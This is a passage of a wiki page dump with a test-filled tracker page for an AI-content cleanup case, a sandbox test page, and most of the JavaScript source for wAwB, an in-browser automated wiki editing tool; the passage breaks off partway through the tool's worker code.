2026-10-14T08:41:05Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768365
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=teeest}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
cboxl5xecmatr1hk1fei74ho4z0zkxg
Punithtest
0
168951
768291
735870
2026-10-13T15:46:09Z
~2026-54868-38
76174
test
768291
wikitext
text/x-wiki
many tests. very Wikimedia.[[File:Pigeons_bathing_at_Retiro_Park.webm|thumb|300px]]
g0r1g6p43t7xs9f5sfciyae80drrqf2
User:Ponor/wAwB-worker.js
2
171632
768359
759908
2026-10-14T06:14:50Z
Ponor
47975
do not decode html char references in the external rules
768359
javascript
text/javascript
/*
* wAwB – An in-browser application for automated editing of wiki pages.
* Features: customizable regex or JavaScript search-and-replace rules,
* custom JavaScript pre/post-processing functions and function libraries,
* granular protection or targeting of different parts of wikitext,
* a full-fledged CodeMirror editor, and options to move, delete, and protect pages.
* Author: [[User:Ponor]]
* Documentation: [[User:Ponor/wAwB]]
* License: GNU General Public License (GPL)
*/
//<nowiki>
mw.loader.using([
'oojs-ui-core',
'oojs-ui-widgets',
'oojs-ui-windows',
'mediawiki.api',
'mediawiki.diff.styles',
'mediawiki.util',
'mediawiki.page.gallery.styles',
'oojs-ui.styles.icons-content',
'oojs-ui.styles.icons-interactions',
'oojs-ui.styles.icons-movement',
'oojs-ui.styles.icons-moderation',
'oojs-ui.styles.icons-editing-core',
'oojs-ui.styles.icons-editing-advanced'
]).then(function() {
// =====================================================================
// 1. STATE & CONFIGURATION
// =====================================================================
var SCRIPT_TIMEOUT_MS = window.wa_timeout || 5000;
var FETCH_SAFETY_LIMIT = window.wa_fetchLimit || 10000;
var APP_NAME = "wAwB";
var DO_TAG = false;
var SUMMARY_SUFFIX = window.wa_suffix || " [[:w:en:User:Ponor/wAwB| #wAwB]]";
var APP_VERSION = "0.7";
var DOC_URL = window.wa_docUrl || "https://en.wikipedia.org/wiki/User:Ponor/wAwB";
document.title = window.wa_editIn || "Edit in wAwB";
var PERMS = {
canSave: false,
allowBot: false,
saveDelay: 0
};
var IS_ADMIN = mw.config.get('wgUserGroups').includes('sysop');
var CAN_MOVE = IS_ADMIN || mw.config.get('wgUserGroups').includes('extendedmover') || mw.config.get('wgUserGroups').includes('filemover') || mw.config.get('wgUserGroups').includes('pagemover');
var WIKI = mw.config.get('wgDBname');
var ON_NOTIFY = window.wa_onNotification || 'warn'; // warn, stop, nothing
var ON_NOTIFY_FREQ = 30 * 1000; // every 30s
var SAVED_RUN = 0;
var SAVED_SESSION = 0;
var currentPageExists = false;
var isRunning = false;
var isFetching = false;
var currentTitle = null;
var currentVars = {};
var currentLibrary = {
name: null,
code: null
};
var originalWikitext = "";
var currentPageSummaryAppend = "";
var currentPageSummaryOverride = null;
var baseRevId = 0;
var currentViewMode = 'diff';
var viewScroll = resetViewScroll();
var autoSaveTimer = null;
var propNamesLoaded = false;
var hasNewSources = false;
var currentHeightMode = 1; // 0=25%, 1=45% (default), 2=72%
var heightValues = ['25%', '45%', '72%'];
// EXTERNAL RULES STATE
var wikiTypos = [];
var localTypos = [];
// LOADING FLAG
var isLoadingProject = false;
// NAMESPACE ALIASES
var nsIds = mw.config.get('wgNamespaceIds');
var catAliases = [],
fileAliases = [];
for (var key in nsIds) {
if (nsIds[key] === 14) catAliases.push(key.replace(/_/g, ' '));
if (nsIds[key] === 6) fileAliases.push(key.replace(/_/g, ' '));
}
catAliases.sort((a, b) => b.length - a.length);
fileAliases.sort((a, b) => b.length - a.length);
var REGEX_CAT_PFX = catAliases.map(mw.util.escapeRegExp).join('|');
var REGEX_FILE_PFX = fileAliases.map(mw.util.escapeRegExp).join('|');
// MASTER PROTECTION DEFINITIONS
var PROTECTION_DEFS = [{
id: 'nowiki',
isOn: false,
label: 'Nowiki: <nowiki>',
regex: /<nowiki>[\s\S]*?<\/nowiki>|<nowiki\s*\/>/gi
},
{
id: 'comments',
isOn: true,
label: 'Comments: <!' + '-- -->',
regex: new RegExp('<!' + '--[\\s\\S]*?--' + '>', 'g')
},
{
id: 'headers',
isOn: false,
label: 'Headers: == Title ==',
regex: /^==+[\s\S]+?==+\s*$/gm
},
{
id: 'templates',
isOn: false,
label: 'Templates: {{...}}',
open: '{{',
close: '}}',
species: null,
regex: null
},
{
id: 'tables',
isOn: false,
label: 'Tables: {|...|}',
open: '\n{|',
close: '\n|}',
regex: null
},
{
id: 'images',
isOn: false,
label: 'Images: [[File:...|...|...]]',
open: '[[',
close: ']]',
species: '(?:' + REGEX_FILE_PFX + ')\\s*:',
regex: null
},
{
id: 'refs',
isOn: false,
label: 'Refs: <ref...',
regex: /<ref[^>]*?\/>|<ref[^>]*?(?<!\/)>[\s\S]*?<\/ref>/gi
},
{
id: 'blocks',
isOn: false,
label: 'Blocks: math, gallery...',
regex: null
},
{
id: 'categories',
isOn: false,
label: 'Categories: [[Category:...]]',
regex: new RegExp('\\[\\[\\s*(' + REGEX_CAT_PFX + ')\\s*:[^\\]]+\\]\\]', 'giu')
},
{
id: 'files',
isOn: false,
label: 'File names: File:...',
regex: new RegExp('(?<=\\[\\[\\s*:?(:?' + REGEX_FILE_PFX + ')\\s*:)[^|\\]]+' + '|^\\s*(?:' + REGEX_FILE_PFX + ')\\s*:([^\\][}{|\\n]{1,150}\\.(?:svg|png|jpe?g|gif|tiff|webp|xcf|mp3|midi|ogg|webm|flac|wav|mpe?g|pdf|djv))', 'gmiu')
},
{
id: 'targets',
isOn: false,
label: 'Targets of [[...|',
regex: /(?<=\[\[:?)[^|\]]+?(?=\||\]\])/g
},
{
id: 'extlinks',
isOn: false,
label: 'External links: [...]',
regex: /(?<=\[)(https?:\/\/|ftps?:\/\/|mailto:)[^\]]+(?=\])/gi
},
{
id: 'urls',
isOn: false,
label: 'URLs: http...',
regex: /https?:\/\/[^\s<>[\]"'`|()]+/gi
}
];
// =====================================================================
// 2. CSS STYLES
// =====================================================================
var styles = `
* { box-sizing: border-box; }
#wa-root { font-family: sans-serif; height: 100vh; width: 100vw; overflow: hidden; display: flex; font-size: 14px; }
#wa-left-panel { width: 400px; min-width: 400px; max-width: 400px; background: var(--background-color-base, #fff); border-right: 1px solid #c8ccd1; display: flex; flex-direction: column; z-index: 10; overflow-x: hidden; }
#wa-left-panel h3 { color: #3f6fcf; text-align: center; margin: 12px 0 0 0; }
#wa-username { color: #3f6fcf; text-align: center; margin: 2px 0; font-size: 92%; }
#wa-content-area { flex: 1; padding: 10px 10px 100px 10px; overflow-y: auto; overflow-x: hidden; }
#wa-right-panel { flex: 1; display: flex; flex-direction: column; height: 100%; background: var(--background-color-interactive, #eaecf0); overflow: hidden; }
#wa-visual-output { flex: 0 0 45%; min-height: 0; overflow-y: auto; background: var(--background-color-base, #fff); padding: 20px; border-bottom: 1px solid #c8ccd1; }
.wa-editor-header { flex: 0 0 40px; min-height: 40px; padding: 0 10px; background: var(--background-color-interactive-subtle, #f8f9fa); border-bottom: 1px solid #c8ccd1; display: flex; gap: 25px; justify-content: space-between; align-items: center; z-index: 10; }
.wa-editor-header.wa-dirty { background: var(--background-color-warning-subtle, #fdf2d5); border-bottom: 1px solid #e6a700; }
@keyframes wa-header-pulse { 0% { background-color: var(--background-color-destructive-subtle, #fee7e6); } 50% { background-color: var(--background-color-interactive-subtle, transparent); } 100% { background-color: var(--background-color-destructive-subtle, #fee7e6); } }
.wa-editor-header.wa-header-alert { border-bottom: 2px solid var(--border-color-destructive, #b32424) !important; animation: wa-header-pulse 1s 60 ease-in-out forwards !important; }
.wa-header-left { flex: 1; display: flex; align-items: center; gap: 5px; min-width: 0; overflow: hidden; }
.wa-header-right { flex: 0 0 auto; display: flex; justify-content: flex-end; align-items: center; gap: 8px; color: var(--color-placeholder, #72777d); font-size: 0.9em; }
.wa-title-link { font-weight: bold; font-size: 1.1em; color: var(--color-progressive--focus, #36c) !important; text-decoration: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; flex-shrink: 0; max-width: 40%; }
.wa-title-link:hover { text-decoration: underline; }
#wa-status-indicator { flex: 0 0 auto; width: 10px; height: 10px; border-radius: 50%; background-color: #00af89; cursor: help; transition: background-color 0.2s; margin-right: 2px; }
#wa-status-indicator.wa-status-working { background-color: #36c; animation: wa-pulse-blue 1.5s infinite; }
#wa-status-indicator.wa-status-error { background-color: #bf3c2c; }
@keyframes wa-pulse-blue { 0% { opacity: 1; } 50% { opacity: 0.4; } 100% { opacity: 1; } }
.wa-header-sep { border-left: 1px solid #ccc; height: 16px; flex-shrink: 0; margin: 0 2px; }
#wa-summary-preview { flex-grow: 1; color: #d00; font-style: italic; white-space: nowrap; text-overflow: ellipsis; overflow-x: auto; background: transparent; border: none; outline: none; box-shadow: none; min-width: 50px; padding: 2px 5px; scrollbar-width: none; -ms-overflow-style: none; font-size: 1em; }
#wa-summary-preview::-webkit-scrollbar { display: none; }
#wa-summary-preview:hover { background: rgba(0, 0, 0, 0.05); cursor: text; }
#wa-summary-preview:focus { background: #fff; }
.wa-info-container { margin-right: 10px; }
.wa-tools-container { display: flex; align-items: center; gap: 2px; }
.wa-resize-container { display: flex; flex-direction: column; justify-content: center; height: 100%; margin-left: 10px; padding-left: 5px; border-left: 1px solid #ccc; }
.wa-resize-btn { cursor: pointer; color: #72777d; user-select: none; width: 20px; height: 14px; display: flex; align-items: center; justify-content: center; transition: color 0.1s ease-in-out; }
.wa-resize-btn:hover { color: #36c; }
.wa-resize-btn.wa-resize-disabled { color: #ccc; cursor: default; }
#wa-proc-header { margin-top: 15px !important; border-bottom: none !important; cursor: default; }
#wa-proc-title { font-weight: bold; padding: 10px; display: block; }
#wa-proc-content { padding: 0 10px 15px 10px; }
#wa-editor-area { flex: 1; min-height: 0; display: flex; flex-direction: column; background: var(--background-color-base, #fff); position: relative; overflow: hidden; }
#wa-editor-textarea { flex: 1; height: 100%; font-family: monospace; font-size: 13px; border: none; outline: none; padding: 10px; resize: none; width: 100%; }
.cm-editor { height: 100% !important; flex: 1; }
.wa-section-header { margin-top: 12px; border-bottom: 1px solid #eee; width: 100%; display: block; margin-left: 0 !important; }
#wa-content-area .wa-section-header:first-child, #wa-content-area .wa-section-header.oo-ui-buttonElement-frameless:first-child { margin-top: 0; margin-left: 0 !important; }
.wa-section-header > .oo-ui-buttonElement-button { text-align: left; padding: 10px 10px !important; margin: 0 !important; display: block; width: 100%; position: relative; border-left: 3px solid #3f6fcf !important; border-radius: 3px !important; background-color: transparent !important; }
.wa-section-header > .oo-ui-buttonElement-button:focus { outline: none !important; }
.wa-section-header .oo-ui-labelElement-label { font-weight: bold; padding-left: 0 !important; margin-left: 0 !important; color: var(--color-base, #202122); }
.wa-section-header .oo-ui-indicatorElement-indicator { position: absolute; right: 10px !important; top: 50%; margin-top: -10px; left: auto !important; width: 20px; }
.wa-foldable-content { display: none; padding: 10px 0; }
.wa-source-options { background: var(--background-color-interactive-subtle, #f8f9fa); border: 1px solid #c8ccd1; border-top: none; padding: 8px; margin-bottom: 10px; font-size: 0.9em; }
.wa-opt-row { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 5px; }
.wa-opt-label { font-weight: bold; width: 100%; margin-bottom: 5px; color: var(--color-base, #202122); }
.wa-opt-row > div { margin-top: 8px !important; margin-bottom: 8px !important; }
.wa-rule-row { background: var(--background-color-interactive-subtle, #f8f9fa); border: 1px solid #c8ccd1; padding: 8px; margin-bottom: 8px; border-radius: 4px; display: flex; align-items: stretch; transition: background-color 0.3s; }
.wa-rule-row.wa-highlight { background-color: var(--background-color-interactive, #eaecf0); border-color: #36c; }
.wa-rule-controls { display: flex; flex-direction: column; justify-content: center; gap: 0px; padding-right: 4px; border-right: 1px solid #eee; margin-right: 8px; }
.wa-rule-btn { margin: 0 !important; margin-right: 0 !important; margin-left: 0 !important; }
.wa-rule-btn > .oo-ui-buttonElement-button { margin: 0 !important; }
.wa-rule-content { flex: 1; min-width: 0; }
.wa-rule-opt-row { display: flex; justify-content: space-between; align-items: center; margin-top: 5px; }
#wa-ns-selector { width: 100%; margin-bottom: 10px; font-family: sans-serif; font-size: 0.9em; border: 1px solid #a2a9b1; }
.wa-lib-dialog > .oo-ui-window-frame { width: 80vw !important; max-width: none !important; height: 80vh !important; max-height: none !important; }
.wa-lib-editorwrapper { height: 100%; border: 1px solid #c8ccd1; position: relative; boxSizing: border-box; }
.wa-page-list-raw textarea { font-family: monospace; font-size: 0.9em; white-space: pre; overflow-x: auto; }
.wa-list-running textarea { background-color: var(--background-color-neutral-subtle, #f8f8f8) !important; color: var(--color-base, #202122) !important; }
.wa-grid-container { display: flex; gap: 6px; margin-bottom: 10px; }
.wa-grid-col { flex: 1; display: flex; flex-direction: column; gap: 6px; }
.wa-grid-col .oo-ui-buttonWidget { width: 100%; }
.wa-grid-col .oo-ui-buttonWidget .oo-ui-buttonElement-button { width: 100%; text-align: center; justify-content: center; }
.wa-toolbar { display: flex; justify-content: flex-end; align-items: center; gap: 4px; border-bottom: 1px solid #eee; padding-bottom: 4px; margin-bottom: 4px; }
.wa-list-counter { margin-right: auto; font-weight: bold; color: var(--color-subtle, #54595d); font-size: 0.9em; padding-left: 5px; }
.wa-project-bar { display: flex; flex-wrap: wrap; gap: 8px; padding: 0 10px; margin: 8px 0; justify-content: center; }
.wa-project-bar .oo-ui-buttonElement-button { padding-left: 36px !important; padding-right: 12px !important; font-size: 0.9em; }
.wa-project-bar .oo-ui-iconElement-icon { left: 10px !important; }
.wa-settings-header { font-weight: bold; color: var(--color-subtle, #54595d); margin-bottom: 8px; display: block; text-transform: uppercase; font-size: 0.9em; }
.wa-setting-row { display: flex; align-items: center; margin-bottom: 6px; }
.wa-bot-row { background: var(--background-color-success-subtle, #dff2eb); border: 1px solid #a5d6a7; padding: 8px; margin-bottom: 10px; border-radius: 4px; display: flex; align-items: center; justify-content: flex-start; gap: 15px; }
table.diff { width: 100%; font-family: "Adwaita Mono", "Courier New", monospace }
table.diff td { vertical-align: top; }
table.diff tr:hover td { background-color: var(--background-color-progressive-subtle--hover, #d9e2ff); cursor: pointer; }
.wa-flash-success { background-color: #d5fdf4 !important; transition: background-color 0.4s ease-out; }
@keyframes wa-pulse-red { 0% { box-shadow: 0 0 0 0 rgba(255, 0, 0, 0.4); border-color: #ff0000; } 70% { box-shadow: 0 0 0 6px rgba(255, 0, 0, 0); border-color: #ff0000; } 100% { box-shadow: 0 0 0 0 rgba(255, 0, 0, 0); border-color: #ff0000; } }
.wa-summary-warning input { animation: wa-pulse-red 1s infinite; border-color: #ff0000 !important; }
`;
$('<style>').text(styles).appendTo('head');
$('body').empty();
// =====================================================================
// 3. HELPER FUNCTIONS
// =====================================================================
function checkPermissions() {
return new Promise(function(resolve) {
var api = new mw.Api();
var projectNs = mw.config.get('wgFormattedNamespaces')[4];
var checkTitles = {
'permissions': projectNs + ':AutoWikiBrowser/CheckPageJSON',
'tag': 'MediaWiki:Tag-wAwB'
};
api.get({
action: 'query',
prop: 'revisions',
titles: Object.values(checkTitles).join('|'),
rvprop: 'content',
rvslots: 'main',
formatversion: 2
}).then(function(data) {
var pagePerms = data.query.pages.find(p => p.title === checkTitles['permissions']);
var pageTag = data.query.pages.find(p => p.title === checkTitles['tag']);
DO_TAG = pageTag.missing === undefined;
var userName = mw.config.get('wgUserName');
var userGroups = mw.config.get('wgUserGroups');
var isSysop = userGroups.includes('sysop');
if (!pagePerms.missing) {
try {
var content = pagePerms.revisions[0].slots.main.content;
var json = JSON.parse(content);
var inEnabledUsers = json.enabledusers && json.enabledusers.includes(userName);
var inEnabledBots = json.enabledbots && json.enabledbots.includes(userName);
var isBotGroup = userGroups.includes('bot');
var canSave = inEnabledUsers || inEnabledBots || isSysop;
var allowBot = inEnabledBots && isBotGroup;
resolve({
canSave: canSave,
allowBot: allowBot,
saveDelay: 0
});
} catch (e) {
resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
}
} else {
var editCount = mw.config.get('wgUserEditCount');
if (editCount > 500) resolve({
canSave: true,
allowBot: false,
saveDelay: 20000
});
else resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
}
}).catch(function() {
resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
});
});
}
function getUserCode(widget, globalName) {
var val = widget.getValue().trim();
if (!val || val.startsWith('// Enter')) {
if (window[globalName] && typeof window[globalName] === 'function') {
var s = window[globalName].toString();
return s.substring(s.indexOf('{') + 1, s.lastIndexOf('}'));
}
return "";
}
if (val.startsWith('function')) {
return val.substring(val.indexOf('{') + 1, val.lastIndexOf('}'));
}
return val;
}
function normalizeLine(line) {
if (!line) return null;
// Pass through comments/STOP commands (trimmed)
if (line.trim().startsWith('####')) return line.trim();
// Handle Title|Variables
var parts = line.split('|');
var title = parts[0].trim();
if (!title) return null; // Skip if title is empty
// Reassemble: Clean Title + Original Variables (preserving whitespace)
var rest = parts.length > 1 ? parts.slice(1).join('|') : null;
return title + (rest !== null ? '|' + rest : '');
}
function getNormalizedList(text) {
if (!text) return [];
return text.split('\n')
.map(normalizeLine)
.filter(function(l) {
return l !== null;
});
}
function getDeduplicatedList(text) {
if (!text) return [];
var seen = new Set();
var out = [];
var lines = text.split('\n');
for (var i = 0; i < lines.length; i++) {
var clean = normalizeLine(lines[i]);
if (clean && !seen.has(clean)) {
seen.add(clean);
out.push(clean);
}
}
return out;
}
function parseTypoContent(content) {
if (!content) return [];
try {
var contentP = content.replace(/&(?=(#\d+|#x[\da-f]+|\w+);)/gi, '&'); // do not decode html char references in the external rules
var $wrapper = $('<body>').html(contentP);
var rules = [];
$wrapper.find('Typo:not([disabled])').each(function() {
var $t = $(this);
var find = $t.attr('find');
var replace = $t.attr('replace');
if (find && replace !== undefined) {
rules.push({
find: find,
replace: replace,
regex: true,
flags: 'gmu',
enabled: true,
isFunc: false
});
}
});
return rules;
} catch (e) {
return [];
}
}
function updateSummaryPreview(baseText) {
var base = currentPageSummaryOverride !== null ? currentPageSummaryOverride : (baseText || "");
var finalSum = base + (currentPageSummaryAppend || "");
var previewText = finalSum ? injectVars(finalSum) : '';
$('#wa-summary-preview').val(previewText);
}
function injectVars(text) {
if (!text) return "";
return text.replace(/\$x([A-Z]|x)/g, function(match) {
return currentVars[match] || match; // Swap it, or leave it alone if undefined
});
}
function resetViewScroll() {
return {diffTop: 0, diffIsBottom: false, previewTop: 0, previewIsBottom: false, page: '', mode: '' };
}
function captureViewScroll() {
var $container = $('#wa-visual-output');
var mode = viewScroll.mode;
if (!$container.length || !mode) return;
var scrollTop = $container.scrollTop();
var innerHeight = $container.innerHeight();
var scrollHeight = $container[0].scrollHeight;
var hasScrollbar = scrollHeight > (innerHeight + 4);
if (hasScrollbar) {
viewScroll[mode + 'Top'] = scrollTop;
viewScroll[mode + 'IsBottom'] = (scrollTop + innerHeight >= scrollHeight - 10);
}
}
function restoreViewScroll(targetPage, targetMode) {
var $container = $('#wa-visual-output');
if (!$container.length) return;
if (viewScroll.page !== '' && viewScroll.page !== targetPage) {
viewScroll.diffTop = 0;
viewScroll.previewTop = 0;
}
var isBottom = viewScroll[targetMode + 'IsBottom'];
var top = viewScroll[targetMode + 'Top'];
if (isBottom) {
$container.scrollTop($container[0].scrollHeight);
setTimeout(function() {
$container.scrollTop($container[0].scrollHeight);
}, 150);
} else {
$container.scrollTop(top);
}
viewScroll.page = targetPage;
viewScroll.mode = targetMode;
}
// =====================================================================
// 4. UI CONSTRUCTION
// =====================================================================
checkPermissions().then(function(pState) {
PERMS = pState;
var $main = $('<div>').attr('id', 'wa-root').appendTo('body');
var $left = $('<div>').attr('id', 'wa-left-panel').appendTo($main);
$left.append($('<h3>').append($('<a>').attr('href', DOC_URL).attr('target', '_blank').text(APP_NAME).css({
'text-decoration': 'none',
'color': 'inherit'
})));
$left.append($('<div>').attr('id', 'wa-username').append($('<a>').attr('href', mw.util.getUrl('Special:Contributions/' + mw.config.get('wgUserName'))).attr('target', '_blank').text('User: ' + mw.config.get('wgUserName')).css({
'text-decoration': 'none',
'color': 'inherit'
})));
var btnSaveProj = new OO.ui.ButtonWidget({
icon: 'download',
label: 'Save project',
framed: false,
flags: 'progressive'
});
var btnLoadProj = new OO.ui.ButtonWidget({
icon: 'upload',
label: 'Load project',
framed: false
});
var $projBar = $('<div>').addClass('wa-project-bar').append(btnSaveProj.$element, btnLoadProj.$element);
$left.append($projBar);
var $fileInput = $('<input type="file" accept=".json">').hide().appendTo('body');
var $content = $('<div>').attr('id', 'wa-content-area').appendTo($left);
var $right = $('<div>').attr('id', 'wa-right-panel').appendTo($main);
var $editorHeader = $('<div>').addClass('wa-editor-header').appendTo($right);
var $headerLeft = $('<div>').addClass('wa-header-left').appendTo($editorHeader);
var $statusIndicator = $('<span>').attr('id', 'wa-status-indicator').attr('title', 'Ready').appendTo($headerLeft);
var $titleLink = $('<a>').addClass('wa-title-link').text('Page content').attr('target', '_blank').appendTo($headerLeft);
$('<span>').addClass('wa-header-sep').appendTo($headerLeft);
var $summaryPreview = $('<input type="text">').attr('id', 'wa-summary-preview').attr('autocomplete', 'off').appendTo($headerLeft);
var $headerRight = $('<div>').addClass('wa-header-right').appendTo($editorHeader);
var $infoContainer = $('<span>').addClass('wa-info-container').appendTo($headerRight);
var $toolsContainer = $('<div>').addClass('wa-tools-container').appendTo($headerRight);
var $resizeContainer = $('<div>').addClass('wa-resize-container').appendTo($headerRight);
var $adminTools = $('<div>').addClass('wa-admin-tools').hide().appendTo($toolsContainer);
// Wide chevron SVGs
var svgUp = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="8" viewBox="0 0 24 12"><path d="M2 10 L12 2 L22 10" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/></svg>';
var svgDown = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="8" viewBox="0 0 24 12"><path d="M2 2 L12 10 L22 2" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/></svg>';
var $btnSizeUp = $('<div>').addClass('wa-resize-btn').html(svgUp).attr('title', 'Decrease view size');
var $btnSizeDown = $('<div>').addClass('wa-resize-btn').html(svgDown).attr('title', 'Increase view size');
$resizeContainer.append($btnSizeUp, $btnSizeDown);
function setPanelHeight(modeIndex) {
currentHeightMode = modeIndex;
if (currentHeightMode < 0) currentHeightMode = 0;
if (currentHeightMode > 2) currentHeightMode = 2;
$('#wa-visual-output').css('flex-basis', heightValues[currentHeightMode]);
$btnSizeUp.toggleClass('wa-resize-disabled', currentHeightMode === 0);
$btnSizeDown.toggleClass('wa-resize-disabled', currentHeightMode === 2);
}
$btnSizeUp.on('click', function() {
if (!$(this).hasClass('wa-resize-disabled')) setPanelHeight(currentHeightMode - 1);
});
$btnSizeDown.on('click', function() {
if (!$(this).hasClass('wa-resize-disabled')) setPanelHeight(currentHeightMode + 1);
});
setPanelHeight(1);
if (CAN_MOVE) {
var btnAdminMove = new OO.ui.ButtonWidget({
icon: 'move',
title: 'Move page to $xA',
disabled: true,
framed: false
});
$adminTools.append(btnAdminMove.$element).show();
}
if (IS_ADMIN) {
var btnAdminDel = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Delete page',
disabled: true,
framed: false
});
var btnAdminProt = new OO.ui.ButtonWidget({
icon: 'lock',
title: 'Protect page',
disabled: true,
framed: false
});
$adminTools.append(btnAdminDel.$element, btnAdminProt.$element).show();
}
var btnManualEdit = new OO.ui.ButtonWidget({
icon: 'edit',
title: 'Open in manual editor',
framed: false,
disabled: true
});
var btnWatch = new OO.ui.ButtonWidget({
icon: 'star',
title: 'Watch this page',
framed: false,
disabled: true,
accessKey: 'w'
});
$toolsContainer.append(btnManualEdit.$element, btnWatch.$element);
var $visualOut = $('<div>').attr('id', 'wa-visual-output').html('<div style="color:#aaa; text-align:center; margin-top:50px;">Ready to start...</div>').prependTo($right);
var $editorArea = $('<div>').attr('id', 'wa-editor-area').appendTo($right);
var $textArea = $('<textarea>').attr('id', 'wa-editor-textarea').attr('placeholder', 'Page text will appear here...').appendTo($editorArea);
function setStatus(msg, type) {
if (!msg) msg = "Ready";
$statusIndicator.attr('title', msg).removeClass('wa-status-error wa-status-working');
if (type === 'error') $statusIndicator.addClass('wa-status-error');
if (type === 'working') $statusIndicator.addClass('wa-status-working');
}
// EDITOR OBJECT
var Editor = {
mode: 'textarea',
cmInstance: null,
_stickyBottom: false,
init: function() {
var self = this;
mw.loader.using(['ext.CodeMirror', 'ext.CodeMirror.mode.mediawiki']).then(function(require) {
try {
self.cmInstance = new(require('ext.CodeMirror'))($textArea[0], (require('ext.CodeMirror.mode.mediawiki')).mediawiki());
self.cmInstance.initialize();
self.mode = 'codemirror';
} catch (e) {
console.error("CM Error", e);
}
}).catch(function(err) {
console.error("CM Load Error:", err);
});
$textArea.on('input', updateDirtyState);
},
getValue: function() {
return (this.mode === 'codemirror' && this.cmInstance) ? this.cmInstance.view.state.doc.toString() : $textArea.val();
},
setValue: function(text) {
if (this.mode === 'codemirror' && this.cmInstance) {
var view = this.cmInstance.view;
var dom = view.scrollDOM; //$("#wa-editor-area").find('.cm-scroller')[0]
// Capture scroll
if (dom) {
var hasScrollbar = dom.scrollHeight > (dom.clientHeight + 10);
if (hasScrollbar) {
this._stickyBottom = (dom.scrollTop + dom.clientHeight >= dom.scrollHeight - 10);
}
}
// Update native area
$textArea.val(text);
// Bundle the codemirror transaction
var transaction = {
changes: {
from: 0,
to: view.state.doc.length,
insert: text
}
};
// If sticky bottom is true, add your scrolling effect to the transaction!
if (this._stickyBottom) {
// We use text.length because that is the very end of the NEW document
transaction.effects = view.constructor.scrollIntoView(text.length, {
y: 'end'
});
}
// Dispatch both at once
view.dispatch(transaction);
} else {
$textArea.val(text);
$textArea[0].dispatchEvent(new Event('input'));
}
},
setDisabled: function(d) {
$textArea.prop('disabled', d);
if (this.mode === 'codemirror' && this.cmInstance) {
this.cmInstance.view.contentDOM.contentEditable = !d;
$($textArea).parent().find('.cm-editor').css('opacity', d ? 0.5 : 1);
}
},
scrollToLine: function(n, selectWholeLine) {
if (isNaN(n)) return;
if (this.mode === 'codemirror' && this.cmInstance) {
var v = this.cmInstance.view;
var l = v.state.doc.line(n);
// Base selection: drop the cursor at the start of the line
var sel = { anchor: l.from };
// If they asked to select the text, extend the selection to the end
if (selectWholeLine) {
sel.head = l.to;
}
v.dispatch({
effects: v.constructor.scrollIntoView(l.from, {
y: 'center'
}),
selection: sel
});
v.focus();
}
}
};
var WorkerEngine = {
activeWorker: null,
workerURL: null,
currentLibCode: null,
timeoutTimer: null,
initWorker: function(libCode) {
this.destroy(); // Clean up existing if any
this.currentLibCode = libCode || "";
var scriptContent = this.currentLibCode + "\n\n" + `
self.onmessage = async function(e) {
try {
var data = e.data;
var inputs = data.texts || [data.text];
var vars = data.vars;
var outputs = [];
// Helper to construct async functions dynamically
var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
function inject(str) {
if (!str) return "";
return str.replace(/\\$x([A-Z]|x)/g, function(m) { return vars[m] || ""; });
}
// Returns a Promise and handles 'await' inside user code
async function execUserFunc(code, currentText, currentVars, sharedObj) {
if (!code || code.trim() === "") return currentText;
try {
var func = new AsyncFunction('text', 'vars', 'shared', code);
var res = await func(currentText, currentVars, sharedObj);
if (res && typeof res === 'object' && res.skip) {
return { _skipSignal: true, reason: res.reason || 'Script-requested skip' };
}
return (res !== undefined) ? res : currentText;
